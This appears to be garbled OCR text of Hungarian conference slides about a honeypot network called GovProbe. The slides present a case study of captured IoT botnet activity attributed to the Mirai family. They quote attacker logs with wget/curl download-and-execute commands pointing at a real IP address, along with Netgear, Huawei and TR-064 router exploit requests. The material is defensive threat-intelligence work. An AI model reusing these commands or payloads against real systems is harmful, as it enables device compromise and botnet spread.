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szimulalasa
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INncidens eltéeritése az éles rendszerrol
Informaciogyujtés




GovProbe

2018 ota védi a kritikus infrastrukturakat

Kozigazgatas Kozlekedés Egészségugy

Elelmiszeripar Informatika és tavkozlés

Helyszin ~ 25
Aktiv szerverek ~ 35
Telepitett csapdakornyezetek ~ 55
Atlagos napi log aktivitas ~ 400.000 bejegyzés




Az adatok ereje: CTI tamogatas

Tamadoi
informaciod

IP cimek
MAC cimek
Port szam

Forras orszag
URL
Domain

|OC

TTP
indikatork

Incidens
folyamatok
Megadott
parancsok
Felhasznalt karos
kod

Jelszavak
Felhasznaldnevek

Statisztikai
adatok

* Globalis trendek
megismerése

* Megbizhato
forras




Esetpelda

Karos koddok elfogasa



CMD: cd /tmp;
rm -rf /tmp/* || c¢d /var/run || e¢d /mnt || cd /root;
@timestamp rm -rf ;"r"ﬂﬂ't;' o | | cd f_; race.id

wget http://178.16.54.252/bins.sh;
2025.99.03 @ 23:25: 41808 curl -0 http://178.16.54.252/bins.sh;
/bin/busybox wget http://178.16.54.252/bins.sh;

2025.09.03 @ 23:25:44.800 . 2e2ddad5lea
chmod 777 bins.sh;

sh bins.sh;
2025.09.03 @ 23:25:42.779 rm bins.sh

2025.09.03 @ 23:25:42.696 87.120.191.13 ssh Remote SSH version: SSH-2.0-Go 22e2ddad51ea

New connection: 87.120.191.13:42520 (::ffff:10.185.225.2:2222)

2025.09.03 23:25:42.695 87.120.191.13 ssh
@ [session: 22e2duad5leal

22e2ddad5lea
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s earl -0

n; corl -0 http:/S/S1T8.16 ins /mDetRFY)

PATH=$PATH:fusrfbin:fbin:/sbin:/usrisbin:Xusr/localfbin:/usrflocaf?
/bin/rm bins.sh

wget http://178.16.54.252/bins/08nf9He2dVy82V5vRCUusPoTrL2r5Eaell; ‘aell;rm 08nf9He2dVy82V5vRCUusPoTrL2r5Eael)l

wget http://178.16.54.252/bins/mDetRFYnD1gxxsJFwWDZxQIBNRVeXt2Mivm; 'Mivm; rm mDetRFYnD1gxxsJFwDZxQJIBNRVeXt2Mivin ##
wget http://178.16.54.252/bins/xMVmp41GV2pdNfDAIN7B1Rq1LEBR3C581q; .581q;rm xMVmp41GV2pdNfDAIN7B1Rq1LEBR3C581 ##m:
wget http://178.16.54.252/bins/7UIZ9UUPZABeFhdUa8WQHaKwhcx09@r9yn; Ir9yn;rm 7UIZSUUPZA8eFhdUa8WQHaKwhcx098r9yn ]
wget http://178.16.54.252/bins/J0OqvTXnjFN@p@ZVUuk51R8nPPDXx8aGrcla; ircJa;rm JOgvTXnjFNep8ZVUuk51R8nPPDx8aGrclia ##spa
wget http://178.16.54.252/bins/BC8ir7ry2lpIdIQAnmykyfakKeLI4P4uCK3; WCK3;rm BC8ir7ry2lpIdIQAnmykyfaKeOLJ4P4uCK3 ##sh
wget http://178.16.54.252/bins/@nrQePkhBb6@sFIDYtyPDgxkmypdesQ8qgN; Q8gN; rm &nrQePkhBb6@sFIDYtyPDgxkmyp4esQ8q/l ##m6E
wget http://178.16.54.252/bins/PppB@83j6Neidv9Tjeza@YMallLHij3uFkW7; IFKW7; rm PppB@3j6NeidvoTjeza@YMalLHij3uFkW? ##a
wget http://178.16.54.252/bins/d8oNkUi@XVaE76mdg0d3MfDxetIE41]gt4; Jgt4;rm d8oNkUi@XVaE76mdgOd3MfDxOtIE41l]gtil ##
wget http://178.16.54.252/bins/txGWRdSWu6gzzYzUjXVGIXb9cXRT5KZn7n; Zn7n;rm txGwRASWu6gzzYzUjXVGIXbIcXRTSKZn7h ##a
wget http://178.16.54.252/bins/SqAWAlgOVOjMYDIOPIXShey6EF i3KkhVefSs; '@fSs;rm SqAWAlgeVOjMYDIPIXSh6y6Fi3KkhVefS) ##powe
wget http://178.16.54.252/bins/Jxwsad4m9fOSHSNWVZEqO2uGUGlyrmiepW; 1lepW; rm Jxwsad4m9fOSHSNWVZEqO2uGUGlyrmiepll ##x8€

wget http://178.16.54.252/bins/wmc8Sgkylz1LBICu6d@AQVrqxJFHixBtKj; BtKj;rm wmc8SgkylzlLBICu6d@AQVrgxJFHixBtK]|

wget .16.54.252/b1nsstFzcskqupsSleSmlBYvElIYjFRZlOzn : sDFzcsksqAps5z 515mlBYvE11YjFRZlOzx ##mips
3 / J || ed /fmnt || ecd ot || ed /; wget http://178.16.54.252 /bi ' TQAnm EOLJ4F curl e ————————————

; ourl
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Connection: keep-alive

Z?xml version="1.0" ?><s5:Envelope =zmlins:s="http://schemas.xmlsoap.orgfsoap/envelope/ " s:encodingStyle="http://schemas.xmlsc

RRAERNCET /setup.cgi?next file=netgear.cfgitodo=syscmdicmd=rm+-rf+/tmp/* ;wget+http://%s/spimt+-0+/tmp/netgear; shinetgear&cu

REAEEAEEAPCST /ctrlt/DeviceUpgrade 1 HITP/1.1

Hast: F=5:37215

Content-Length: 601

Connection: kecp—alive

Buthorization: Digest username="dslf-config"”, realm="HuaweiHomeGateway", nonce="83645cefblfSedele3d3dce3d5eddT75ee30", uri="/c1

<?xml version="1.0" ?r<s:Envelope xmins:s="http://schemas.xmlsocap.org/soap/envelope/" s:encodingStvie="http://schemas.xmlss
Ho=zt: 127.0.0.1:7574

User-4Agent: masjesua

S0APLction: urn:dslforum-org:service:Time:1§#5etNTFPS5ervers

Content-Type: text/xml

Content-Length: &40

Z?xml version="1.0"7?><S504P-ENV:Envelope xmlins:SCRP-ENV="http://schemas.xmlsoap.org/soap/envelope,/"™ SOAP-ENV:encodingStyle="
Host: 127.0.0.1:5555

User-Agent: masjesu

S0APAction: urn:dslforum-org:service:Time:1¥#5etNTFServers

Content-Type: text/=ml

Content-Length: 640

<7?Eml version="1.0"7?><S0RP-ENV:Envelope xmins:S50RP-ENV="http://3chemss.xmlsoap.org/soap/envelope/™ SO0AP-ENV:encodingStyle="
Host: %s:80

Content-Type: text/xml; charset="utf-g"

SORPAction: http://purencetworks.com/HNAP1/ "%s°”

[Tt mrmt= _ T =T =80




Sandbox Report Overview

d42

9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574...

Sandbox Signatures
Contacts a large (2169) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running
ser

DISCOVERY

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to er re F running
servi

DISCOVERY

Renames itself 1

Creates/modifies Cron job 1

allows running tasks on a schedule, and is commonly used
for malware persistence.

EXECUTION PERSISTEMNCE PRIVILEGE_ESCALATION

Enumerates running processes

s information about currently running proc

loT botnhet

sl Router specifikus
(Huawel, Netgear,
GPON)

Mirai csalad
(feltehetden Hakai)



Koszonom a figyelmet!

Gonda Abel

CYBERSELC
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